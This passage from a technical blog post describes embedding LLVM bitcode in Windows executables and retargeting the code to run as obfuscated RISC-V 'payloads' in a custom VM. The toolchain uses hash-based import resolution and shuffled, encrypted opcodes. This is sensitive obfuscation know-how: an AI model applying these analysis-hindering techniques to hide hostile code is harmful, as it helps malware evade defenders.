Unfortunately, it can be quite annoying to write an executable that can replace the compiler. It is quite simple when dealing with a few object files, but with bigger projects it gets quite tricky (especially when CMake is involved). Existing projects are WLLVM and gllvm, but they do not work nicely on Windows. When using CMake, you can use the CMAKE_<LANG>_COMPILER_LAUNCHER variables and intercept the compilation pipeline that way, but that is also tricky to deal with.

On Windows, things are more complex than on Linux. This is because Clang uses a different program to link the final executable and correctly intercepting this process can become quite challenging.

Embedding bitcode

To achieve our goal of post-processing the bitcode of the whole program, we need to enable bitcode embedding. The first flag we need is -flto, which enables LTO. The second flag is -lto-embed-bitcode, which isn’t documented very well. When using clang-cl, you also need a special incantation to enable it:

set(EMBED_TYPE "post-merge-pre-opt") # post-merge-pre-opt/optimized
if(NOT CMAKE_CXX_COMPILER_ID MATCHES "Clang")
    if(WIN32)
        message(FATAL_ERROR "clang-cl is required, use -T ClangCL --fresh")
    else()
        message(FATAL_ERROR "clang compiler is required")
    endif()
elseif(CMAKE_CXX_COMPILER_FRONTEND_VARIANT MATCHES "^MSVC$")
    # clang-cl
    add_compile_options(-flto)
    add_link_options(/mllvm:-lto-embed-bitcode=${EMBED_TYPE})
elseif(WIN32)
    # clang (Windows)
    add_compile_options(-fuse-ld=lld-link -flto)
    add_link_options(-Wl,/mllvm:-lto-embed-bitcode=${EMBED_TYPE})
else()
	# clang (Linux)
    add_compile_options(-fuse-ld=lld -flto)
    add_link_options(-Wl,-lto-embed-bitcode=${EMBED_TYPE})
endif()

The -lto-embed-bitcode flag creates an additional .llvmbc section in the final executable that contains the bitcode. It offers three settings:

-lto-embed-bitcode=<value> - Embed LLVM bitcode in object files produced by LTO
    =none                  - Do not embed 
    =optimized             - Embed after all optimization passes
    =post-merge-pre-opt    - Embed post merge, but before optimizations

Once the bitcode is embedded within the output binary, it can be extracted using llvm-objcopy and disassembled with llvm-dis. This is normally done as the follows:

llvm-objcopy --dump-section=.llvmbc=program.bc program
llvm-dis program.bc > program.ll

Unfortunately, we discovered a bug/oversight in LLD on Windows. The section is extracted without errors, but llvm-dis fails to load the bitcode. The reason for this is that Windows executables have a FileAlignment attribute, leading to additional padding with zeroes. To get valid bitcode, you need to remove some of these trailing zeroes:

import argparse
import sys
import pefile

def main():
    # Parse the arguments
    parser = argparse.ArgumentParser()
    parser.add_argument("executable", help="Executable with embedded .llvmbc section")
    parser.add_argument("--output", "-o", help="Output file name", required=True)
    args = parser.parse_args()
    executable: str = args.executable
    output: str = args.output

    # Find the .llvmbc section
    pe = pefile.PE(executable)
    llvmbc = None
    for section in pe.sections:
        if section.Name.decode("utf-8").strip("\x00") == ".llvmbc":
            llvmbc = section
            break
    if llvmbc is None:
        print("No .llvmbc section found")
        sys.exit(1)

    # Recover the bitcode and write it to a file
    with open(output, "wb") as f:
        data = bytearray(llvmbc.get_data())
        # Truncate all trailing null bytes
        while data[-1] == 0:
            data.pop()
        # Recover alignment to 4
        while len(data) % 4 != 0:
            data.append(0)
        # Add a block end marker
        for _ in range(4):
            data.append(0)
        f.write(data)

if __name__ == "__main__":
    main()

In our testing, this doesn’t have any issues, but there might be cases where this heuristic does not work properly. In that case, a potential solution could be to brute force the amount of trailing zeroes, until the bitcode parses without errors.

Applications

Now that we have access to our program’s bitcode, several applications become feasible:

  • Write an analyzer to identify potentially interesting locations within the program.
  • Instrument the bitcode and then re-link the executable, which is particularly useful for code coverage while fuzzing.
  • Obfuscate the bitcode before re-linking the executable, enhancing security.
  • IR retargeting, where the bitcode compiled for one architecture can be used on another.

Relinking the executable

The bitcode itself unfortunately does not contain enough information to re-link the executable (although this is something we would like to implement upstream). We could either manually attempt to reconstruct the linker command line (with tools like Process Monitor), or use LLVM plugin support. Plugin support is not really functional on Windows (although there is some indication that Sony is using it for their PS4/PS5 toolchain), but we can still load an arbitrary DLL using the -load command line flag. Once we loaded our DLL, we can hijack the executable command line and process the flags to generate a script for re-linking the program after our modifications are done.

Retargeting LLVM IR

Ideally, we would want to write code like this and magically get it to run in our VM:

#include <Windows.h>

int main()
{
    MessageBoxA(0, "Hello from RISC-V!", "riscvm", 0);
}

Luckily this is entirely possible, it just requires writing a (fairly) simple tool to perform transformations on the Bitcode of this program (built using clang-cl). In the coming sections, we will describe how we managed to do this using Microsoft Visual Studio’s official LLVM integration (i.e. without having to use a custom fork of clang-cl).

The LLVM IR of the example above looks roughly like this (it has been cleaned up slightly for readability):

source_filename = "hello.c"
target datalayout = "e-m:w-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-windows-msvc19.38.33133"

@message = dso_local global [19 x i8] c"Hello from RISC-V!\00", align 16
@title = dso_local global [7 x i8] c"riscvm\00", align 1

; Function Attrs: noinline nounwind optnone uwtable
define dso_local i32 @main() #0 {
  %1 = call i32 @MessageBoxA(ptr noundef null, ptr noundef @message, ptr noundef @title, i32 noundef 0)
  ret i32 0
}

declare dllimport i32 @MessageBoxA(ptr noundef, ptr noundef, ptr noundef, i32 noundef) #1

attributes #0 = { noinline nounwind optnone uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }

!llvm.linker.options = !{!0, !0}
!llvm.module.flags = !{!1, !2, !3}
!llvm.ident = !{!4}

!0 = !{!"/DEFAULTLIB:uuid.lib"}
!1 = !{i32 1, !"wchar_size", i32 2}
!2 = !{i32 8, !"PIC Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{!"clang version 16.0.5"}

To retarget this code to RISC-V, we need to do the following:

  • Collect all the functions with a dllimport storage class.
  • Generate a riscvm_imports function that resolves all the function addresses of the imports.
  • Replace the dllimport functions with stubs that use riscvm_host_call to call the import.
  • Change the target triple to riscv64-unknown-unknown and adjust the data layout.
  • Compile the retargeted bitcode and link it together with crt0 to create the final payload.

Adjusting the metadata

After loading the LLVM IR Module, the first step is to change the DataLayout and the TargetTriple to be what the RISC-V backend expects:

module.setDataLayout("e-m:e-p:64:64-i64:64-i128:128-n32:64-S128");
module.setTargetTriple("riscv64-unknown-unknown");
module.setSourceFileName("transpiled.bc");

The next step is to collect all the dllimport functions for later processing. Additionally, a bunch of x86-specific function attributes are removed from every function:

std::vector<Function*> importedFunctions;
for (Function& function : module.functions())
{
	// Remove x86-specific function attributes
	function.removeFnAttr("target-cpu");
	function.removeFnAttr("target-features");
	function.removeFnAttr("tune-cpu");
	function.removeFnAttr("stack-protector-buffer-size");

	// Collect imported functions
	if (function.hasDLLImportStorageClass() && !function.getName().startswith("riscvm_"))
	{
		importedFunctions.push_back(&function);
	}
	function.setDLLStorageClass(GlobalValue::DefaultStorageClass);

Finally, we have to remove the llvm.linker.options metadata to make sure we can pass the IR to llc or clang without errors.

Import map

The LLVM IR only has the dllimport storage class to inform us that a function is imported. Unfortunately, it does not provide us with the DLL the function comes from. Because this information is only available at link-time (in files like user32.lib), we decided to implement an extra -importmap argument.

The extract-bc script that extracts the .llvmbc section now also has to extract the imported functions and what DLL they come from:

with open(importmap, "wb") as f:
	for desc in pe.DIRECTORY_ENTRY_IMPORT:
		dll = desc.dll.decode("utf-8")
		for imp in desc.imports:
			name = imp.name.decode("utf-8")
			f.write(f"{name}:{dll}\n".encode("utf-8"))

Currently, imports by ordinal and API sets are not supported, but we can easily make sure those do not occur when building our code.

Creating the import stubs

For every dllimport function, we need to add some IR to riscvm_imports to resolve the address. Additionally, we have to create a stub that forwards the function arguments to riscvm_host_call. This is the generated LLVM IR for the MessageBoxA stub:

; Global variable to hold the resolved import address
@import_MessageBoxA = private global ptr null

define i32 @MessageBoxA(ptr noundef %0, ptr noundef %1, ptr noundef %2, i32 noundef %3) local_unnamed_addr #1 {
entry:
  %args = alloca ptr, i32 13, align 8
  %arg3_zext = zext i32 %3 to i64
  %arg3_cast = inttoptr i64 %arg3_zext to ptr
  %import_address = load ptr, ptr @import_MessageBoxA, align 8
  %arg0_ptr = getelementptr ptr, ptr %args, i32 0
  store ptr %0, ptr %arg0_ptr, align 8
  %arg1_ptr = getelementptr ptr, ptr %args, i32 1
  store ptr %1, ptr %arg1_ptr, align 8
  %arg2_ptr = getelementptr ptr, ptr %args, i32 2
  store ptr %2, ptr %arg2_ptr, align 8
  %arg3_ptr = getelementptr ptr, ptr %args, i32 3
  store ptr %arg3_cast, ptr %arg3_ptr, align 8
  %return = call ptr @riscvm_host_call(ptr %import_address, ptr %args)
  %return_cast = ptrtoint ptr %return to i64
  %return_trunc = trunc i64 %return_cast to i32
  ret i32 %return_trunc
}

The uint64_t args[13] array is allocated on the stack using the alloca instruction and every function argument is stored in there (after being zero-extended). The GlobalVariable named import_MessageBoxA is read and finally riscvm_host_call is executed to call the import on the host side. The return value is truncated as appropriate and returned from the stub.

The LLVM IR for the generated riscvm_imports function looks like this:

; Global string for LoadLibraryA
@str_USER32.dll = private constant [11 x i8] c"USER32.dll\00"

define void @riscvm_imports() {
entry:
  %args = alloca ptr, i32 13, align 8
  %kernel32.dll_base = call ptr @riscvm_resolve_dll(i32 1399641682)
  %import_LoadLibraryA = call ptr @riscvm_resolve_import(ptr %kernel32.dll_base, i32 -550781972)
  %arg0_ptr = getelementptr ptr, ptr %args, i32 0
  store ptr @str_USER32.dll, ptr %arg0_ptr, align 8
  %USER32.dll_base = call ptr @riscvm_host_call(ptr %import_LoadLibraryA, ptr %args)
  %import_MessageBoxA = call ptr @riscvm_resolve_import(ptr %USER32.dll_base, i32 -50902915)
  store ptr %import_MessageBoxA, ptr @import_MessageBoxA, align 8
  ret void
}

The resolving itself uses the riscvm_resolve_dll and riscvm_resolve_import functions we discussed in a previous section. The final detail is that user32.dll is not loaded into every process, so we need to manually call LoadLibraryA to resolve it.

Instead of resolving the DLL and import hashes at runtime, they are resolved by the transpiler at compile-time, which makes things a bit more annoying to analyze for an attacker.

Trade-offs

While the retargeting approach works well for simple C++ code that makes use of the Windows API, it currently does not work properly when the C/C++ standard library is used. Getting this to work properly will be difficult, but things like std::vector can be made to work with some tricks. The limitations are conceptually quite similar to driver development and we believe this is a big improvement over manually recreating types and manual wrappers with riscvm_host_call.

An unexplored potential area for bugs is the unverified change to the DataLayout of the LLVM module. In our tests, we did not observe any differences in structure layouts between rv64 and x64 code, but most likely there are some nasty edge cases that would need to be properly handled.

If the code written is mainly cross-platform, portable C++ with heavy use of the STL, an alternative design could be to compile most of it with a regular C++ cross-compiler and use the retargeting only for small Windows-specific parts.

One of the biggest advantages of retargeting a (mostly) regular Windows C++ program is that the payload can be fully developed and tested on Windows itself. Debugging is much more difficult once the code becomes RISC-V and our approach fully decouples the development of the payload from the VM itself.

CRT0

The final missing piece of the crt0 component is the _start function that glues everything together:

static void exit(int exit_code);
static void riscvm_relocs();
void        riscvm_imports() __attribute__((weak));
static void riscvm_init_arrays();
extern int __attribute((noinline)) main();

// NOTE: This function has to be first in the file
void _start()
{
    riscvm_relocs();
    riscvm_imports();
    riscvm_init_arrays();
    exit(main());
    asm volatile("ebreak");
}

void riscvm_imports()
{
    // Left empty on purpose
}

The riscvm_imports function is defined as a weak symbol. This means the implementation provided in crt0.c can be overwritten by linking to a stronger symbol with the same name. If we generate a riscvm_imports function in our retargeted bitcode, that implementation will be used and we can be certain we execute before main!

Example payload project

Now that all the necessary tooling has been described, we can put everything together in a real project! In the repository, this is all done in the payload folder. To make things easy, this is a simple cmkr project with a template to enable the retargeting scripts:

# Reference: https://build-cpp.github.io/cmkr/cmake-toml
[cmake]
version = "3.19"
cmkr-include = "cmake/cmkr.cmake"

[project]
name = "payload"
languages = ["CXX"]
cmake-before = "set(CMAKE_CONFIGURATION_TYPES Debug Release)"
include-after = ["cmake/riscvm.cmake"]
msvc-runtime = "static"

[fetch-content.phnt]
url = "https://github.com/mrexodia/phnt-single-header/releases/download/v1.2-4d1b102f/phnt.zip"

[template.riscvm]
type = "executable"
add-function = "add_riscvm_executable"

[target.payload]
type = "riscvm"
sources = [
    "src/main.cpp",
    "crt/minicrt.c",
    "crt/minicrt.cpp",
]
include-directories = [
    "include",
]
link-libraries = [
    "riscvm-crt0",
    "phnt::phnt",
]
compile-features = ["cxx_std_17"]
msvc.link-options = [
    "/INCREMENTAL:NO",
    "/DEBUG",
]

In this case, the add_executable function has been replaced with an equivalent add_riscvm_executable that creates an additional payload.bin file that can be consumed by the riscvm interpreter. The only thing we have to make sure of is to enable clang-cl when configuring the project:

cmake -B build -T ClangCL

After this, you can open build\payload.sln in Visual Studio and develop there as usual. The custom cmake/riscvm.cmake script does the following:

  • Enable LTO
  • Add the -lto-embed-bitcode linker flag
  • Locale clang.exe, ld.lld.exe and llvm-objcopy.exe
  • Compile crt0.c for the riscv64 architecture
  • Create a Python virtual environment with the necessary dependencies

The add_riscvm_executable adds a custom target that processes the regular output executable and executes the retargeter and relevant Python scripts to produce the riscvm artifacts:

function(add_riscvm_executable tgt)
    add_executable(${tgt} ${ARGN})
    if(MSVC)
        target_compile_definitions(${tgt} PRIVATE _NO_CRT_STDIO_INLINE)
        target_compile_options(${tgt} PRIVATE /GS- /Zc:threadSafeInit-)
    endif()
    set(BC_BASE "$<TARGET_FILE_DIR:${tgt}>/$<TARGET_FILE_BASE_NAME:${tgt}>")
    add_custom_command(TARGET ${tgt}
        POST_BUILD
        USES_TERMINAL
        COMMENT "Extracting and transpiling bitcode..."
        COMMAND "${Python3_EXECUTABLE}" "${RISCVM_DIR}/extract-bc.py" "$<TARGET_FILE:${tgt}>" -o "${BC_BASE}.bc" --importmap "${BC_BASE}.imports"
        COMMAND "${TRANSPILER}" -input "${BC_BASE}.bc" -importmap "${BC_BASE}.imports" -output "${BC_BASE}.rv64.bc"
        COMMAND "${CLANG_EXECUTABLE}" ${RV64_FLAGS} -c "${BC_BASE}.rv64.bc" -o "${BC_BASE}.rv64.o"
        COMMAND "${LLD_EXECUTABLE}" -o "${BC_BASE}.elf" --oformat=elf -emit-relocs -T "${RISCVM_DIR}/lib/linker.ld" "--Map=${BC_BASE}.map" "${CRT0_OBJ}" "${BC_BASE}.rv64.o"
        COMMAND "${OBJCOPY_EXECUTABLE}" -O binary "${BC_BASE}.elf" "${BC_BASE}.pre.bin"
        COMMAND "${Python3_EXECUTABLE}" "${RISCVM_DIR}/relocs.py" "${BC_BASE}.elf" --binary "${BC_BASE}.pre.bin" --output "${BC_BASE}.bin"
        COMMAND "${Python3_EXECUTABLE}" "${RISCVM_DIR}/encrypt.py" --encrypt --shuffle --map "${BC_BASE}.map" --shuffle-map "${RISCVM_DIR}/shuffled_opcodes.json" --opcodes-map "${RISCVM_DIR}/opcodes.json" --output "${BC_BASE}.enc.bin" "${BC_BASE}.bin"
        VERBATIM
    )
endfunction()

While all of this is quite complex, we did our best to make it as transparent to the end-user as possible. After enabling Visual Studio’s LLVM support in the installer, you can start developing VM payloads in a few minutes. You can get a precompiled transpiler binary from the releases.

Debugging in riscvm

When debugging the payload, it is easiest to load payload.elf in Ghidra to see the instructions. Additionally, the debug builds of the riscvm executable have a --trace flag to enable instruction tracing. The execution of main in the MessageBoxA example looks something like this (labels added manually for clarity):

                      main:
0x000000014000d3a4:   addi     sp, sp, -0x10 = 0x14002cfd0
0x000000014000d3a8:   sd       ra, 0x8(sp) = 0x14000d018
0x000000014000d3ac:   auipc    a0, 0x0 = 0x14000d4e4
0x000000014000d3b0:   addi     a1, a0, 0xd6 = 0x14000d482
0x000000014000d3b4:   auipc    a0, 0x0 = 0x14000d3ac
0x000000014000d3b8:   addi     a2, a0, 0xc7 = 0x14000d47b
0x000000014000d3bc:   addi     a0, zero, 0x0 = 0x0
0x000000014000d3c0:   addi     a3, zero, 0x0 = 0x0
0x000000014000d3c4:   jal      ra, 0x14 -> 0x14000d3d8
                        MessageBoxA:
0x000000014000d3d8:     addi     sp, sp, -0x70 = 0x14002cf60
0x000000014000d3dc:     sd       ra, 0x68(sp) = 0x14000d3c8
0x000000014000d3e0:     slli     a3, a3, 0x0 = 0x0
0x000000014000d3e4:     srli     a4, a3, 0x0 = 0x0
0x000000014000d3e8:     auipc    a3, 0x0 = 0x0
0x000000014000d3ec:     ld       a3, 0x108(a3=>0x14000d4f0) = 0x7ffb3c23a000
0x000000014000d3f0:     sd       a0, 0x0(sp) = 0x0
0x000000014000d3f4:     sd       a1, 0x8(sp) = 0x14000d482
0x000000014000d3f8:     sd       a2, 0x10(sp) = 0x14000d47b
0x000000014000d3fc:     sd       a4, 0x18(sp) = 0x0
0x000000014000d400:     addi     a1, sp, 0x0 = 0x14002cf60
0x000000014000d404:     addi     a0, a3, 0x0 = 0x7ffb3c23a000
0x000000014000d408:     jal      ra, -0x3cc -> 0x14000d03c
                          riscvm_host_call:
0x000000014000d03c:       lui      a2, 0x5 = 0x14000d47b
0x000000014000d040:       addiw    a7, a2, -0x1e0 = 0x4e20
0x000000014000d044:       ecall    0x4e20
0x000000014000d048:       ret      (0x14000d40c)
0x000000014000d40c:     ld       ra, 0x68(sp=>0x14002cfc8) = 0x14000d3c8
0x000000014000d410:     addi     sp, sp, 0x70 = 0x14002cfd0
0x000000014000d414:     ret      (0x14000d3c8)
0x000000014000d3c8:   addi     a0, zero, 0x0 = 0x0
0x000000014000d3cc:   ld       ra, 0x8(sp=>0x14002cfd8) = 0x14000d018
0x000000014000d3d0:   addi     sp, sp, 0x10 = 0x14002cfe0
0x000000014000d3d4:   ret      (0x14000d018)
0x000000014000d018: jal      ra, 0x14 -> 0x14000d02c
                      exit:
0x000000014000d02c:   lui      a1, 0x2 = 0x14002cf60
0x000000014000d030:   addiw    a7, a1, 0x710 = 0x2710
0x000000014000d034:   ecall    0x2710

The tracing also uses the enums for the opcodes, so it works with shuffled and encrypted payloads as well.

Outro

Hopefully this article has been an interesting read for you. We tried to walk you through the process in the same order we developed it in, but you can always refer to the riscy-business GitHub repository and try things out for yourself if you got confused along the way. If you have any ideas for improvements, or would like to discuss, you are always welcome in our Discord server!

We would like to thank the following people for proofreading and discussing the design and implementation with us (alphabetical order):

Additionally, we highly appreciate the open source projects that we built this project on! If you use this project, consider giving back your improvements to the community as well.

Merry Christmas!

❌
❌